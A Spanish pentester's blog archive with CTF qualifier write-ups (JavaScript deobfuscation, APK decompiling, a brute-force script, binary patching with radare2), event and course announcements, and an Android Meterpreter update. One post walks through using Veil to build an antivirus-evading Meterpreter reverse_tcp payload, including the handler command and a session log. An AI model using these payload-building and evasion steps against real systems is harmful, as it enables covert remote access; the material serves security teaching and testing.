miércoles, 13 de noviembre de 2013

NcN PreQuals 2013: Reto 3 (b)

Hace unos días, tras la solución del Reto 1 y el Reto 2 de las quals del CTF de la NcN de este año, os comentaba una posible solución al Reto 3, y os dejaba pendiente una segunda solución "tirando de debugger", que  es la que veremos hoy.

Yo voy a utilizar radare2 para hacerlo, pero podríais utilizar gdb, IDA, o vuestro debugger favorito.
Para los que se pierdan como yo mirando el puro ensamblador, radare2 tiene una función con la que podemos pintar un poco los bloques de las funciones, lo cual nos ayudará a visualizar un poco mejor lo que pasa:

$ r2 -d level.elf
[0x0040101f]> af@main
[0x0040101f]> ag > foo.dot
foo.dot created

Hemos abierto el binario y nos hemos colocado en el main, y desde ahí generamos la gráfica que comentábamos anteriormente. Ahora solo tenemos que convertirla a otro formato más visible, por ejemplo PNG:

 $ dot -Tpng foo.dot > foo.png


No voy a subir el PNG a alta resolución (podéis generarlo vosotros mismos), pero creo que con esta captura será suficiente para que veáis el proceso.

¿Os acordáis que nos habíamos dado cuenta que la aplicación comparaba carácter a carácter? Quizá buscar bucles sea un buen punto de partida. En este caso, se puede ver fácilmente en la gráfica que existen únicamente DOS bucles (los identificamos porque hay flechas que vuelven a bloques anteriores). Si miramos ambos detenidamente veremos que el que nos interesa es el de la izquierda de los que tenéis marcados. Las dos flechas señalan donde están los dos puntos donde voy a hacer zoom a continuación, para que no os perdáis.

Pegando un vistazo al bucle, observamos una bifurcación curiosa:


Como podéis ver, llega un momento en el que se realiza una comparación y el flujo de la ejecución se va a una rama que llama a la función game_over(), o a otra rama que llama a las funciones success() y después a no_me_jodas_manolo() (vaya nombre xDDD). Está claro que lo que nos interesa es forzar a que la ejecución del programa vaya a esta última rama, pero nos interesa hacerlo desde algún sitio en el que el contenido cifrado ya haya sido descifrado, o sino seguramente no vamos a conseguir nada ¿Donde podemos estar seguros que estará el contenido cifrado pero todavía no hemos tenido que introducir caracteres? Pues al comienzo del bucle que estábamos mirando.


Donde tenéis la fecha roja es el bloque a donde vuelve el bucle, con lo que... ¿qué pasará si sobre escribimos el contenido y metemos un salto al bloque que nos da la solución? ¿funcionará?

Os he marcado también con un recuadro rojo la que supuestamente es la comparación entre lo que introduce el usuario por teclado y lo que hay en memoria. Poniendo un breakpoint aquí y yendo a la zona de memoria a la que referencia seguramente también seríamos capaces de obtener la clave, pero de momento nosotros vamos a intentar hacer el bypass directo que comentábamos antes, a ver si funciona.

$ cp level.elf foolevel.elf
$ r2 -w foolevel.elf
[0x00400690]> s 0x0040114e
[0x0040114e]> wa jmp dword 0x0040117b
Written 5 bytes ( jmp dword 0x0040117b)=wx e928000000
[0x0040114e]> pd
      ,=< 0x0040114e     e928000000       jmp dword 0x40117b

Hemos abierto una copia de level.elf a la que hemos llamado foolevel.elf y la hemos abierto en modo de escritura. Nos hemos ido a la posición 0x0040114e, que es la del inicio del bucle, y hemos sobre escrito un salto a la posición 0x0040117b, que es la del bloque que suponemos que nos mostrará el flag. Ahora solo nos queda salir de radare y ejecutar el binario a ver que pasa:

$ ./foolevel.elf
|  >  Type to win, only what I want to read...
|  >  |
|  -> Congratulations! The key is:
|  9e0d399e83e7c50c615361506a294eca22dc49bfddd90eb7a831e90e9e1bf2fb

Bingo! Ya tenemos el flag de nuevo, pero esta vez no hemos necesitado sacar la clave. En otras situaciones no habríamos podido hacer esto (o hubiera resultado mucho más complicado), porque depende mucho de como esté implementado, pero en esta ocasión ha funcionado a las mil maravillas. Por supuesto, existen bastantes maneras de solucionar este mismo reto. Si lo habéis probado de otra manera y queréis dejar un comentario... será bien recibido :)

lunes, 11 de noviembre de 2013

NcN PreQuals 2013: Reto 3 (a)

En el último par de días habíamos hablado de la solución al Reto 1 y Reto 2 de las Quals del CTF de la NcN 2013, así que hoy nos toca ver la solución al Reto 3, el último en el que consistian las Quals. El reto consistía en un binario del que a priori no se proporcionaba más información.

En estos casos, lo mejor es empezar y saber ante que tipo de binario nos encontramos. Si no tiene la cabecera corrupta ni nada similar, debería bastarnos con usar el comando "file":

$ file level.elf 
level.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xb589d432799bf15343387fea63d4bdc00faa177c, not stripped

Ya sabemos algo sobre el binario, es un ELF de 64 bits, así que deberíamos buscarnos un Linux de 64 bits en el que correr este binario ¿No tienes ninguno a mano? En ese caso te pasó igual que a mi al resolver este reto :) Por suerte Linux 64 bits es algo que podemos descargar facilmente de Internet.

Una vez que ya tenemos un Linux de 64 bits y podemos ejecutar el binario, a mi siempre me gusta ejecutarlo una vez a ver lo que hace antes de meterte "a saco" a desensamblar. El funcionamiento del binario te puede dar pistas sobre lo que tienes que buscar en el código.

$ ./level.elf
|  >  Type to win, only what I want to read...
|  > f
|
|  -> I DON'T THINK SO

Cuando llamas al binario, se queda esperando a que pulses alguna tecla y, si es incorrecta, inmediatamente cierra la ejecución. Es de suponer que al introducir la clave correcta nos dará el deseado flag.

Antes de seguir, solo por si fuera así de sencillo, deberíamos hacerle un "strings" al binario, no sea que la contraseña aparezca directamente:

$ strings level.elf
/lib64/ld-linux-x86-64.so.2
libc.so.6
fflush
puts
putchar
[..]
795ef9462825a6640f9a9d7e85a01f5bb311c5849f8fc0e41bf4030f43e583f3
50a89ea2b500750f9baa163adee2057881b418e47bce9ddced4941556614e499
be0978a13b5875b112bcc84b4b688d68ec2d11010543189540bffa3641f2623d
911106de1b05db8d1b0fb2fe118345b4db6ddb930cf61290fd0b8336ffb394fd
a750b2d4129207fbbe6527ddd396f24327f4302c0b8496e154f139612bfc3312
a3f0e19a20d10cb055fbaaf4bbe82859074e50f4f8c2cde2b907c0947941ec98
[...]

No os pongo toda la salida, por no hacer grande el post, pero no vemos nada que pueda parecer la clave ni el flag, pero sí que vemos algo que tiene pinta de estar cifrado. Es muy común en este tipo de retos que haya información cifrada que el propio binario se encargue descifrar, para evitar que sea tan fácil sacar la clave.

Esta vez no hubo suerte con el strings, así que vamos a tener que ejecutar el binario para que haga su trabajo. Otra de las cosas que suelo hacer es usar el comando "ltrace" (o "strace", o "ptrace", según la ocasión). El comando "ltrace" nos mostrará las llamadas a librerías, con lo que si se ejecuta un strcmp() o similar debería aparecernos:

$ ltrace ./level.elf 
__libc_start_main(0x40101f, 1, 0x7fff991818e8, 0x4011c0, 0x401250
fputc('\n', 0x7f279f827260
)                                                                      = 10
fwrite("|  >  ", 1, 6, 0x7f279f827260)                                                           = 6
fflush(0|  >  )                                                                                        = 0
fwrite("Type to win, only what I want to"..., 1, 41, 0x7f279f827260)                             = 41
fflush(0Type to win, only what I want to read... )                                                                                        = 0
fputc('\n', 0x7f279f827260
)                                                                      = 10
fwrite("|  >  ", 1, 6, 0x7f279f827260)                                                           = 6
fflush(0|  >  )                                                                                        = 0
tcgetattr(0, 0x00603400)                                                                         = 0
tcsetattr(0, 0, 0x00603440)                                                                      = 0
getchar(0, 21505, 51729, -1, 0x603440)                                                           = 120
tcsetattr(0, 0, 0x00603400)                                                                      = 0
fputc('\n', 0x7f279f827260
[...]

Tampoco aparece nada, así que una de dos, o el programador está comparando carácter a carácter (algo coherente con el funcionamiento que hemos visto antes) o se ha implementado su propia versión de comparador de cadenas. Vamos a suponer lo primero y vamos a hacer una pequeña prueba: Vamos a hacer un pequeño script en python que pruebe todos los posibles valores ascii para el primer elemento, y vamos a pegar un vistazo a ojo a ver si hay algún cambio en la salida:

$ cat test.py 
#!/usr/bin/python
import os
for c in xrange(1,255):
cmd = 'echo '+str(c)+' ; echo "'+str(chr(c))+'" | ./level.elf'
os.system(cmd)

$ python test.py
[...]
31
|  >  Type to win, only what I want to read... 
|  >  
|
|  -> I DON'T THINK SO
32
|  >  Type to win, only what I want to read... 
|  >  *
|
|  -> I DON'T THINK SO
[...]

Vaya! Parece que sí que hay algo que cambia! Cuando probamos con el carácter 32 (0x20, vamos, el espacio) la salida nos marca con un asterisco, como señalando que hemos marcado un carácter bien, aunque nos sigue diciendo "I DON'T THINK SO", que nos hace ver que aún nos quedan caracteres por meter. Asumiendo que cada vez que acertemos otro carácter tendremos un asterisco más, y que esa frase de "I DON'T THINK SO" desaparecerá una vez obtengamos la solución, nos hacemos otro script en python para que nos automatice un poco la tarea:

$ cat bruteforce.py
#!/usr/bin/python
import subprocess
password = ""
for l in xrange(1,20):
        for c in xrange(1,255):
                if c == 34:
                        continue
                temp_pass = password + chr(c)
                result = subprocess.check_output('echo \"'+temp_pass+'\" | ./level.elf', shell=True)
                if "I DON'T THINK SO" not in result:
                        print temp_pass
                        print result
                        exit(0)
                n = result.count('*')
                if n == l:
                        print temp_pass
                        password = password + chr(c)
                        break

Hacemos un bucle de longitudes de 1 a 20 (podríamos poner más), y para cada posición probamos todos los posibles valores ascii y analizamos el resultado. Si la cantidad de caracteres asterisco es igual a la longitud de la clave que habíamos probado, es que es que hemos acertado, y sino tenemos que probar con el siguiente. Además, si la frase "I DON'T THINK SO" desaparece del resultado, probablemente hemos encontrado la contraseña correcta y tendremos la solución. Vamos a ver si funciona:

$ time ./bruteforce.py
 S
 SU
 SUR
 SURP
 SURPR
 SURPRI
 SURPRIS
 SURPRISE
 SURPRISE!
|  >  Type to win, only what I want to read...
|  >  **********
|
|  -> Congratulations! The key is:
|  9e0d399e83e7c50c615361506a294eca22dc49bfddd90eb7a831e90e9e1bf2fb

real    0m7.179s
user    0m0.772s
sys     0m4.316s

Bingo! Parece que ya tenemos el tercer flag :)
Este reto había muchas maneras de resolverlo. En este caso, como no soy persona que se dedique a hacer reversing a diario, me resultaba más cómoda esta aproximación, pero quise probar también a ver como lo podría haber resuelto arrancando el debugger y viéndole las tripas al binario, por eso he llamado a este post "a", porque falta la solución "b", con debugger.

jueves, 7 de noviembre de 2013

NcN PreQuals 2013: Reto 2

Ayer veíamos la solución al reto 1 de las prequals del CTF de la NocONName de 2013, así que hoy vamos a ir con la solución del reto 2. Este reto consistía en una aplicación para Android (APK) de la que no se nos daba mucha más información.

Lo primero que intenté fue instalarla en el emulador, pero esta se cerraba nada más intentar arrancarla. Intenté lo mismo con un par de dispositivos físicos pero obtuve el mismo resultado. Tras intentar hacer cambios en el código a nivel smali (eso para otro post) para intentar arreglar los errores, pensando que era parte del reto, al final pensé en pegarle un vistazo al código antes de seguir por ese camino, no fuera que sea un código no ofuscado y sencillo de leer y no esté haciendo más que perder tiempo intentando ejecutarlo. Así que vamos a ello, a desempaquetar:

$ apktool d level.apk levelapk_apktool

Este comando, si tenemos instaladas las apktools, nos creará un directorio "levelapk_apktool" con todo el contenido del APK. Vamos a pegarle un vistazo al AndroidManifest.xml a ver cual es la MainActivity para ver por donde tenemos que empezar a buscar:

$ cat levelapk_apktool/AndroidManifest.xml
<?xml version="1.0" encoding="utf-8"?>
<manifest android:versionCode="1" android:versionName="1.0" package="com.facebook_ctf.challenge"
  xmlns:android="http://schemas.android.com/apk/res/android">
    <uses-sdk android:minSdkVersion="8" android:targetSdkVersion="15" />
    <application android:theme="@style/AppTheme" android:label="@string/app_name" android:icon="@drawable/ic_launcher">
        <activity android:label="@string/title_activity_main" android:name="com.facebook_ctf.challenge.MainActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <activity android:label="@string/title_activity_main" android:name="com.facebook_ctf.challenge.MainActivity" />
    </application>
</manifest>

Ya sabemos que el inicio de todo se encuentra en "com.facebook_ctf.challenge.MainActivity". Ahora podríamos irnos al directorio "smali" y bucear hasta esa función, pero a mi me resulta más sencillo extraer el dex y decompilarlo con alguna herramienta como jd-gui. Para ello tendremos que extraer el APK de otra forma, simplemente haciendo un unzip:

$ mkdir levelapk_unzip
$ cp level.apk levelapk_unzip/
$ cd levelapk_unzip
$ unzip level.apk

Tras hacer el unzip veremos que tenemos un fichero classes.dex . Este fichero no puede ser abierto directamente con jd-gui, pero podemos transformarlo en un JAR de forma sencilla con la herramienta dex2jar:

$ d2j-dex2jar.sh classes.dex 
dex2jar classes.dex -> classes-dex2jar.jar
$ mv classes-dex2jar.jar classes.jar

Ahora ya podemos irnos a JD-GUI y buscar "com.facebook_ctf.challenge.MainActivity" y sus funciones, particularmente el constructor y onCreate(), que es donde generalmente se inician las acciones:



Como podemos ver, el onCreate() realiza una serie de acciones y acaba llamando a una función de su propia clase llamada yaaaay(), que vamos a ver que pinta tiene:




En la función yaaaay(), se comienza instanciando un montón de Bitmaps que se sacan de los recursos de la aplicación (todavía no sabemos que son). Luego se elige uno de ellos de forma aleatoria y se muestra. Por en medio de todo eso, aparece una función makeMeHappyAgain() a la que se le están pasando el resultado de otras funciones makeMeHappy() a las que a su vez se les pasa los Bitmaps que comentamos anteriormente. La llamada sería una cosa así:

makeMeHappyAgain(
        makeMeHappy( localBitmap1, localBitmap2, localBitmap3, localBitmap4 ),
        makeMeHappy( localBitmap5, localBitmap6, localBitmap7, localBitmap8 ),
        makeMeHappy( localBitmap9, localBitmap10, localBitmap11, localBitmap12 ),
        makeMeHappy( localBitmap13, localBitmap14, localBitmap15, localBitmap16 )
);

Vamos a ver entonces que hacen estas funciones que nos van a hacer tan felices :)


Las funciones, como podéis ver, son casi iguales, ambas crean un nuevo bitmap y van pegando en él los otros bitmaps uno a continuación del otro. La única diferencia entre ambas funciones es que una lo hace en horizontal y la otra en vertical. Si volvemos a pensar en la llamada original, veremos que lo que está haciendo es coger todos los Bitmaps que había cargarlo y juntarlos todos en un solo Bitmap 4x4. Ese bitmap resultado... no va a ningún sitio!! La aplicación no hace nada con él, pero llegados a este punto seguro que la solución del reto iba por ahí, así que... vamos a ver, viendo que recurso estaba cargado en cada variable, como quedaría ese bitmap 4x4:


Pero... ¿cuales son estos recursos? Para saberlo tenemos que irnos a los ficheros de recursos de la aplicación a ver si encontramos estos mismos números, a ver que son:

$ cat levelapk-apktool/res/values/public.xml
[...]
    <public type="raw" name="a" id="0x7f040000" />
    <public type="raw" name="b" id="0x7f040001" />
    <public type="raw" name="c" id="0x7f040002" />
    <public type="raw" name="d" id="0x7f040003" />
    <public type="raw" name="e" id="0x7f040004" />
    <public type="raw" name="f" id="0x7f040005" />
    <public type="raw" name="g" id="0x7f040006" />
    <public type="raw" name="h" id="0x7f040007" />
    <public type="raw" name="i" id="0x7f040008" />
    <public type="raw" name="ic_secret" id="0x7f040009" />
    <public type="raw" name="j" id="0x7f04000a" />
    <public type="raw" name="k" id="0x7f04000b" />
    <public type="raw" name="l" id="0x7f04000c" />
    <public type="raw" name="m" id="0x7f04000d" />
    <public type="raw" name="n" id="0x7f04000e" />
    <public type="raw" name="o" id="0x7f04000f" />
    <public type="raw" name="p" id="0x7f040010" />
[...]

Como veis, los números aparecen, pero en su forma hexadecimal, y aparecen referenciados a elementos de tipo "raw", que si miramos en la carpeta "raw" a ver que pinta tienen, veremos algo así:


Está claro que al final de la jugada vamos a obtener un código QR donde seguramente estará el flag que buscamos. Ahora solo nos falta rehacer nuestro cuadro anterior pero esta vez poniendo ya el nombre de las imágenes:


La composición de la imagen quedaría tal que así, y la podríamos hacer con un script, con algunas herramientas que directamente juntan imágenes, o completamente a mano. En mi caso, como son pocas imágenes y no sabía de memoria como manejar imágenes (no es algo que suela programar), me pareció más rápido a mano. Veréis que he marcado dos bitmaps en amarillo, eso es porque, al montar la imagen, veréis de repente que el bitmap que estáis poniendo no encaja con los demás, pero no resulta muy complicado colocarlo "a ojo" en su sitio adecuado. Después de juntar todo y ver que el código QR resultante parece tener sentido, tenemos algo así:


Hay herramientas de linea de comandos para leer estos código, herramientas on-line, o directamente podéis apuntar con vuestro móvil a la pantalla y leerlo si tenéis la aplicación adecuada. Yo opté por hacerlo con una herramienta on-line. La primera que probé no me funcionó, pero la segunda que probé ya me sacó el resultado esperado:


Ya tenemos el segundo :)

miércoles, 6 de noviembre de 2013

NcN PreQuals 2013: Reto 1

Como ya sabéis, esta pasado fin de semana fueron las finales del CTF de la NcN, organizadas por el equipo de seguridad de FaceBook, pero algunas semanas antes de eso los equipos tuvieron que pasar una clasificación basada en tres pruebas.

En la primera de ellas, nos encontrábamos ante un formulario web con un solo campo en el que supuestamente debíamos acertar con la contraseña para que nos proporcionara el Flag. En estos casos, lo primero es ver como son las conexiones a bajo nivel, para lo que normalmente lo mejor es configurar un proxy intermedio (Burp en mi caso).


Al hacerlo, nos damos cuenta que la aplicación nos devuelve un mensaje "Invalid password" antes de realizar ninguna conexión, con lo que podemos intuir que se produce algún tipo de validación en el lado cliente. Para confirmarlo, desconectamos el equipo de Internet y volvemos a probar. Es conveniente hacer esto porque puede haber plugins (flash, java, ...) que no hagan caso de la configuración del proxy del navegador, y confundirnos un poco. Una vez confirmado que hay algo en el lado cliente, solo tenemos que pegar un vistazo al código HTML:


Como podemos ver, la página carga un script llamado crypto.js, y llama a una función encrypt() al enviar el contenido del formulario. Si miramos el contenido de crypto.js veremos que tiene un javascript ofuscado que no nos deja ver muy bien la función de validación. Existen maneras de desofuscar este código, pero una rápida que suelo hacer yo es sustituir la función eval() por un alert(), de tal modo que el código javascript desofuscado que se debería ejecutar, en lugar de ser ejecutado, es mostrado en un alert, y lo podemos copiar y pegar en un fichero:


Todo lo que nos devuelve el alert lo copiamos y pegamos en un TXT, aplicamos unos cuantos saltos de linea, y podemos leer fácilmente la función encrypt() que habíamos visto antes, que tiene una pinta tal que así:


Como podemos ver, la cadena de texto que introduzcamos es convertida en un valor numérico por medio de la función numerical_value(), y a este valor se le aplican una serie de operaciones matemáticos. Si el resultado final es CERO, entonces la contraseña es correcta.

Si hacemos el proceso inverso podemos ir calculando que valor debería devolver numerical_value() para que la contraseña sea correcta:

res = res^4153      -> res debería ser 4153, para que al hacer XOR el resultado sea cero.
res = res/4             -> multiplicamos 4153 por cuatro, para hacerla operación contraria.
res = res>>>6       -> desplazamos hacia la izquierda 6 bits
res = res*(3+1+3+3+7) -> dividimos por 17.

El resultado final es 62540, aunque otros valores cercanos también pueden dar el mismo resultado, debido a las operaciones de división y desplazamiento de bits.

Ahora solo nos queda encontrar una cadena de texto que, al aplicarle numerical_value(), dé éste valor o cercano. Como podemos ver en la imagen anterior, numerical_value() coge los valores ASCII de cada uno de los caracteres y los multiplica por su posición (empezando en 1), y los suma todos para obtener el valor final.

A partir de aquí, tenemos varias opciones para obtener la cadena: hacer un análisis o probar por fuerza bruta. En este caso a mi me pareció sencillo y rápido hacerlo a mano, así que tomé esta aproximación:
  1. Modificamos el código javascript para que haga un alert() del valor devuelto por numerical_value(), así tenemos una referencia del valor de la cadena que estamos calculando (res=numerical_value(form.password.value); alert(res); ...)
  2. Vamos metiendo cadenas compuestas del caracter 'Z' y vamos aumentando la longitud hasta que el valor devuelto sea mayor que 62540 (ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ -> 63270).
  3. Ahora vamos decrementando el último caracter mientras el valor devuelto sea mayor que 62540. Cada cambio en caracteres de más a la derecha es más significativo en el resultado final, y cada cambio en caracteres de más a la izquierda proporciona un cambio más sutil.
  4. Vamos jugando con las posiciones y letras hasta que llegamos al valor deseado.
ZPZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZG -> 62547


Como podéis ver, el valor finalmente es 62547, que como decíamos no es exactamente el que habíamos calculado, pero ya sabíamos que podía pasar esto y que era perfectamente válido.

Ya tenemos uno :)

martes, 1 de octubre de 2013

Navaja Negra, INTECO, Vilanet y GSICKMINDS: Octubre movidito!

Aunque llevaba un tiempo en el que no me he prodigado ni en el blog ni dando charlas en ningún sitio (por motivos que ya comentaré más adelante), este mes rompo el hielo de nuevo y estaré en varios sitios a lo largo de la geografía española contando algunas técnicas que utilizo habitualmente en mi trabajo cuando realizo test de intrusión interno. El título de la charla es "Offensive MitM" y pretende dar una aproximación más ofensiva al clásico MitM con Cain y a la captura de credenciales en claro o crackeo de autenticación de red. Durante la charla veremos como podemos manipular algunas conexiones "al vuelo" para inyectar contenido que sirva para nuestros oscuros propósitos, tomo amenizado con 3-4 pequeñas demostraciones.

Mi primera parada será esta misma semana en Albacete, en las conferencias Navaja Negra, los días 3, 4 y 5, donde compartiré cartel con esta horda de ponentes:


La semana siguiente, los días 11, 12 y 13 estaré en la Vilanet en Villareal (provincia de Castellón), que aunque no es una conferencia específica de seguridad han tenido la amabilidad de invitarme a participar en una de las charlas que hay el sábado día 12.


Dos semanas después, el miércoles día 23, participaré en el III Encuentro de Blogueros de Seguridad que tendrá lugar dentro del evento ENISE, organizado por INTECO, en la ciudad de León, que consistirá en una mesa redonda en la que abordaremos diferentes temas.


Por último, pero no por ello menos importante, los días 24, 25 y 26 de este mismo mes estaré en GSICKMINDS en A Coruña, compartiendo cartel con ESTOS ponentes.


Y así acabará mi Octubre viajero. Espero veros a alguno en estas conferencias.

martes, 9 de julio de 2013

Curso Incident Handling en Madrid en Septiembre

Contribución de Rafael Alfaro, con el que he tenido la suerte de coincidir en la Universidad, en algún trabajo y como Mentor de cursos del SANS Institute:

Como seguramente muchos ya sabréis, el SANS Institute es uno de los centros de investigación y formación en seguridad más prestigiosos del mundo. Entre los recursos que ofrece (algunos gratuitos y otros de pago) hay cursos de todo tipo relacionados con la seguridad, algunos de ellos son los más técnicos que podemos encontrar hoy en día.

De entre ellos, he acordado con el SANS Institute impartir el curso "SEC504: Hacker Techniques, Exploits & Incident Handling" en modalidad Mentor, cuya última edición se celebró en España en 2010. El curso lo impartiré conjuntamente con Jose Manuel Méndez. En esta modalidad, los estudiantes dispondrán de una copia impresa de los materiales (en inglés) y de un DVD con las máquinas virtuales, herramientas, etc necesarias para realizar los ejercicios. Además de este material de auto-estudio, el Mentor impartirá una clase semanal de dos horas durante 10 semanas comprendidas entre el 13 de Diciembre y el 28 de Febrero (salvo 27 de Diciembre y 3 de Enero). El objetivo principal de las clases es resolver dudas, mostrar como se usan las herramientas y la realización de ejercicios adicionales que favorezcan la comprensión de las técnicas y las herramientas.  Podéis encontrar más detalles sobre las diferentes modalidades de cursos que ofrece el SANS Institute AQUÍ.

Los materiales del curso están en inglés, pero las clases serán impartidas en Español. 

Las clases se realizarán los viernes de 18.00 a 20.00 en las instalaciones de VASS Madrid, situadas en la Avda Dr. Severo Ochoa, 25 Edificio Fiteni V, situado en Alcobendas (Madrid).

El SANS Institute ha publicado la página del curso en la siguiente dirección, para que la gente se pueda apuntar. En caso de que os interese, antes de apuntaros poneros en contacto conmigo en ralfaro.march _ARROBA_ gmail.com. Si os interesa o tenéis alguna pregunta, no tardeis en apuntaros o poneros en contacto conmigo, porque en función de la gente interesada el curso se realizará o no.

¿Qué es y para qué sirve el Incident Handling?

El Incident Handling, traducido como gestión de incidentes, son todas aquellas acciones a realizar con el fin de minimizar el impacto y corregir el problema que nos ha llevado a sufrir un incidente de seguridad. En mi experiencia como Incident Handler, han sido muchas las veces que una empresa ha requerido estos servicios tras sufrir una intrusión, una infección por malware o cualquier otro tipo de incidente de seguridad.

Cuando esto se produce y todo el mundo pierde los nervios, un Incident Handler debe mantener la sangre fria y analizar la situación, determinar el origen de la amenaza y manera en que se produjo el incidente, aplicar las medidas de contención, recoger las evidencias necesarias y finalmente solucionar el incidente de tal forma que se haya eliminado tanto la amenaza como la vulnerabilidad que permitió que dicho incidente se produjera. Como podeis imaginar, la gestión de este tipo de incidentes requiere el uso de una metodología apropiada, así como unos conocimientos profundos de técnicas de hacking, intrusión y/o malware que nos permitan reconocer la situación, lo cual será imprescindible para tomar unas medidas de contención y erradicación eficaces y, por tanto, para dar por resuelto el incidente.

Resumiendo:


Título: SEC504: Hacker Techniques, Exploits & Incident Handling

Instructores:

Certificación asociada: GCIH (GIAC Certified Incident Handling).

Duración del curso: 
10 clases de 2 horas los viernes tarde.

Material necesario:
- Cada alumno necesitará llevar su ordenador portátil para hacer los ejercicios.

Lugar del curso: 
- Avda Dr. Severo Ochoa, 25 Edificio Fiteni V, situado en Alcobendas (Madrid). Enlace Google Maps.

- Enlace a la página de SANS con toda la información y registro.

Es importante que las personas interesadas se pongan en contacto conmigo antes de registrarse, ya que les tengo que dar un código para que lo metan en la web de SANS cuando haya que apuntarse.

Actualización 14/10/2013: Se cambian las fechas y se actualiza el enlace a la web del SANS. El curso ya cuenta con la cantidad mínima de asistentes para si realización.

lunes, 3 de junio de 2013

Antivirus Bypass con Veil

Hace unos pocos días Christopher Truncer publicaba en SU BLOG un artículo sobre una herramienta desarrollada por él mismo y a la que ha dado el nombre de VEIL. Esta herramienta tiene una utilidad interesante para todos aquellos que nos dedicamos al Pentesting y tenemos en ocasiones algún problema con los Antivirus, ya que genera payloads de Metasploit que luego codifica de una manera propia y genera un ejecutable nuevo, a priori no detectado por ellos.

La herramienta puede descargarse de ESTE GITHUB, y a priori debería ser multiplataforma, aunque yo no lo he conseguido hacer funcionar en mi Mac, así que os recomendo que lo probéis directamente con Kali Linux.

# git clone https://github.com/ChrisTruncer/Veil.git

Incluso si lo hacéis con Kali-Linux, es necesario instalar una serie de componentes en el Wine (Python y otros módulos). Por suerte el autor nos ha dejado un script que lo hace todo de forma automática. Solo tenemos que ir dandole a siguiente a todo lo que salga:

# cd Veil
# cd setup
# ./setup.sh

Una vez hecho esto, ya podemos llamar a Veil y empezar a jugar:

# ./Veil.py 
====================================
 Veil | [Version]: 1.0 | [Updated]: 05.30.2013
====================================
 [By]: Chris Truncer | [Twitter]: @ChrisTruncer
====================================
[?] What payload type would you like to use?
 1 - Meterpreter - Python - void pointer
 2 - Meterpreter - Python - VirtualAlloc()
 3 - Meterpreter - Python - base64 Encoded
 4 - Meterpreter - Python - Letter Substitution
 5 - Meterpreter - Python - ARC4 Stream Cipher
 6 - Meterpreter - Python - DES Encrypted
 7 - Meterpreter - Python - AES Encrypted
 0 - Exit Veil
[>] Please enter the number of your choice: 7

Nos da varias opciones de técnicas que podemos usar para generar un Meterpreter evadiendo los antivirus. Elegimos, por ejemplo, el cifrado AES, y seguimos adelante:

[?] What type of payload would you like?
 1 - Reverse TCP
 2 - Reverse HTTP
 3 - Reverse HTTPS
 0 - Exit Veil
[>] Please enter the number of your choice: 1
[?] What's the Local Host IP Address: 192.168.1.100
[?] What's the Local Port Number: 1212
[*] Generating shellcode...

Elegimos que el payload sea reverse_tcp e introducimos los datos de nuestra IP y puerto a la escucha. Seguimos adelante:

[?] How would you like to create your payload executable?
 1 - Pyinstaller (default)
 2 - Py2Exe
[>] Please enter the number of your choice: 1
184 INFO: wrote Z:\opt\Veil\payload.spec
244 INFO: Testing for ability to set icons, version resources...
261 INFO: ... resource update available
267 INFO: UPX is not available.
2296 INFO: checking Analysis
[...]

Elegimos que genere el binario con PyInstaller, que es la opción por defecto y ,después de unas cuantas lineas, al final nos avisa de que el binario ha sido generado:

[!] Be sure to set up a Reverse TCP handler with the following settings:
 PAYLOAD = windows/meterpreter/reverse_tcp
 LHOST   = 192.168.1.100
 LPORT   = 1212
[!] Your payload files have been generated, don't get caught!

Parece que ya tenemos el Payload generado pero... ¿funcionará? Vamos a lanzar un módulo multi/handler de Metasploit y a ejecutarlo en un Windows, a ver si funciona como nos tiene acostumbrados:

$ ./msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=0.0.0.0 LPORT=1212 E
[*] Started reverse handler on 0.0.0.0:1212 
[*] Starting the payload handler...
[*] Sending stage (751104 bytes) to 192.168.1.100
[*] Meterpreter session 1 opened (192.168.1.100:1212 -> 192.168.1.100:50461) at 2013-05-31 10:53:58 +0200
meterpreter > sysinfo
Computer        : S21SEC-JSELVI
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x86
System Language : es_ES
Meterpreter     : x86/win32

Funcionar vemos que funciona, pero ahora falta ver si de verdad es indetectable por los antivirus. Por norma general no os recomiendo que utilicéis VirusTotal para probar vuestros encoders, porque VT distribuye las muestras a las casa antivirus, así que os podéis encontrar de que de repente empiecen a detectar vuestro encoder, cuando antes no lo hacían. Sin embargo, en este caso, la herramienta es pública, así que es cuestión de tiempo que se pongan con ello y empiecen a detectarlo, por lo que podemos hacer el experimento con VT sin problemas. EL RESULTADO del análisis han sido que solo 2 de los 46 AntiVirus lo han detectado, y ninguno de ellos era de los principales fabricantes del sector.


No tengo muy claro que su capacidad para evadir los antivirus esté en las técnicas elegidas al arrancar Veil, o si es simplemente por el hecho de estar usando un convertidor de código Python a EXE. No he hecho la prueba, pero veo bastante probable que eso tenga gran parte de la culpa de este resultado.

Como la herramienta es pública, es cuestión de tiempo que las compañias AV lo analicen y sus binarios empiecen a ser detectados, así que... ¡disfrutáis mientras podáis!

jueves, 30 de mayo de 2013

Nuevo Meterpreter para Android

Hace ya una buena temporada que venía haciendo un "marcaje de cerca" a ESTE "Pull Request" que existía en el GitHub sobre una iniciativa para portar el Meterpreter Java para Android, que aunque pueda parecer trivial porque las aplicaciones de Android se programan en Java, no es exactamente portable el Java "habitual" que el Java para la máquina virtual Dalvik que tenemos en nuestros Android.

Durante este tiempo he ido bajándome el fork de Metasploit de timwr, que ha sido una de las personas que más han contribuido en esta nueva versión del Meterpreter, y la verdad es que lleva tiempo siendo bastante estable, salvo algún error que me encontré que tuve que arreglar desempaquetando el APK, modificando alguna cosa y volviéndolo a empaquetar para su uso.

Finalmente, después de mucha espera, hoy mismo he visto que se ha hecho un commit de esta funcinalidad hace unos pocos días, por lo que en teoría ya tenéis la funcionalidad en el fork principal de Metasploit. Vamos a ver si es verdad:

$ ./msfupdate 
[*]
[*] Attempting to update the Metasploit Framework...
[*]
[...]
 create mode 100644 external/source/javapayload/androidpayload/library/src/androidpayload/stage/Meterpreter.java
 create mode 100644 external/source/javapayload/androidpayload/library/src/androidpayload/stage/Shell.java
 create mode 100644 external/source/javapayload/androidpayload/library/src/androidpayload/stage/Stage.java
